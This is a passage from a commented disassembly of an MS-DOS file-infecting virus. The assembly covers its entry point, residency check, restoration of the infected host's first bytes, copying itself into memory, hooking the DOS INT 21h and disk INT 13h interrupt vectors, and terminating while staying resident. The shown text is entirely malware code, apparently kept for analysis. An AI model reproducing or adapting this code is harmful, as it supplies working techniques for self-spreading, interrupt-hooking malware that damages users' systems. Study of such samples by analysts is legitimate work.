  581.     pop    bx                    ;0CBA  5B
  582.     pop    ax                    ;0CBB  58
  583.     retn                        ;0CBC  C3
  584. s_0C7F    endp
  585.  
  586. ;=======================================================
  587. ;    virus entry point
  588. ;-------------------------------------------------------
  589. l_0CBD:    call    s_099E        ;Is virus resident ?        ;0CBD  E8 FCDE
  590.     jnc    l_0CE0        ;-> no                ;0CC0  73 1E
  591.  
  592.                 ;<- run victim
  593.     mov    cx,4        ;changed bytes count        ;0CC2  B9 0004
  594.     cld                            ;0CC5  FC
  595.     mov    di,100h        ;address            ;0CC6 .BF 0100
  596.     call    s_0CCC                        ;0CC9  E8 0000
  597.  
  598. ;------ restore victim byte
  599. s_0CCC    proc    near
  600.     pop    bp                        ;0CCC  5D
  601.     sub    bp,661h        ;l_066B=virus begin - 100h    ;0CCD  81 ED 0661
  602.     lea    si,[bp+310h]    ;l_097B                ;0CD1  8D B6 0310
  603.     cld                            ;0CD5  FC
  604.     rep    movsb                        ;0CD6  F3/ A4
  605.     push    cs                        ;0CD8  0E
  606.     mov    ax,offset start                    ;0CD9 .B8 0100
  607.     push    ax                        ;0CDC  50
  608.     retn    0FFFEh                        ;0CDD  C2 FFFE
  609. s_0CCC    endp
  610.  
  611.                     ;<- virus not resident yet
  612. l_0CE0:    call    s_0CE3                        ;0CE0  E8 0000
  613.  
  614. ;------ make virus resident
  615. s_0CE3    proc    near
  616.     pop    bp                        ;0CE3  5D
  617.     sub    bp,678h            ;=066Bh = vir_beg-100h    ;0CE4  81 ED 0678
  618.     push    cs                        ;0CE8  0E
  619.     pop    ds                        ;0CE9  1F
  620.     push    cs                        ;0CEA  0E
  621.     pop    es                        ;0CEB  07
  622.     mov    di,100h                        ;0CEC .BF 0100
  623.     lea    si,[bp+100h]        ;virus code begin    ;0CEF  8D B6 0100
  624.     cld                            ;0CF3  FC
  625.     mov    cx,5E9h            ;virus length        ;0CF4  B9 05E9
  626.     rep    movsb                        ;0CF7  F3/ A4
  627.     mov    ax,0693h        ;= l_0CFB            ;0CF9 .B8 0693
  628.     push    ax                        ;0CFC  50
  629.     retn                            ;0CFD  C3
  630. s_0CE3    endp
  631.  
  632. ;---------------------------------------------------------------
  633. ;    Run in new place
  634. ;---------------------------------------------------------------
  635. r_0693:    MOV     DX,0314h    ;= l_097F  (Bad command ...)    ;0CFE BA1403
  636.     MOV     AH,9        ;display string            ;0D01 B409
  637.     INT     21h                        ;0D03 CD21
  638.     PUSH    CS                        ;0D05 0E
  639.     POP     DS                        ;0D06 1F
  640.     MOV     AX,3521h    ;get int 21h            ;0D07 B82135
  641.     INT     21h                        ;0D0A CD21
  642.     MOV     cs:[0304h],BX    ;= l_096F            ;0D0C 2E891E0403
  643.     MOV     cs:[0306h],ES    ;= l_0971            ;0D11 2E8C060603
  644.     CLI                            ;0D16 FA
  645.     XOR     AX,AX                        ;0D17 33C0
  646.     MOV     DS,AX                        ;0D19 8ED8
  647.     MOV     ds:[86h],CS    ;int 21h segment        ;0D1B 8C0E8600
  648.     MOV     AX,051Bh    ;= l_0B86            ;0D1F B81B05
  649.     MOV     ds:[84h],AX    ;int 21h offset            ;0D22 A38400
  650.     STI                            ;0D25 FB
  651.     CALL    s_09B4        ;Set infection flag        ;0D26 E88BFC
  652.     CALL    s_09C3                    ;0D29 E897FC
  653.     PUSH    CS                        ;0D2C 0E
  654.     POP     DS                        ;0D2D 1F
  655.  
  656.     MOV     AX,3513h    ;get int 13h vector        ;0D2E B81335
  657.     INT     21h                        ;0D31 CD21
  658.     MOV     cs:[0308h],BX    ;= l_0973            ;0D33 2E891E0803
  659.     MOV     cs:[030Ah],ES    ;= l_0975            ;0D38 2E8C060A03
  660.  
  661.     MOV     DX,04ECh    ;= l_0B57            ;0D3D BAEC04
  662.     MOV     AX,2513h    ;set int 13h vector        ;0D40 B81325
  663.     INT     21h                        ;0D43 CD21
  664.  
  665.     MOV     DX,06E9h    ;= l_0D54            ;0D45 BAE906
  666.     MOV     CL,4                        ;0D48 B104
  667.     SHR     DX,CL                        ;0D4A D3EA
  668.     ADD     DX,11h        ;+ 256 bytes (+aligning bytes)    ;0D4C 83C211
  669.     MOV     AX,3100h    ;Terminate & Stay Resident    ;0D4F B80031
  670.     INT     21h                        ;0D52 CD21
  671.  
  672. seg_a    ends
  673.  
  674.     end    start
  675.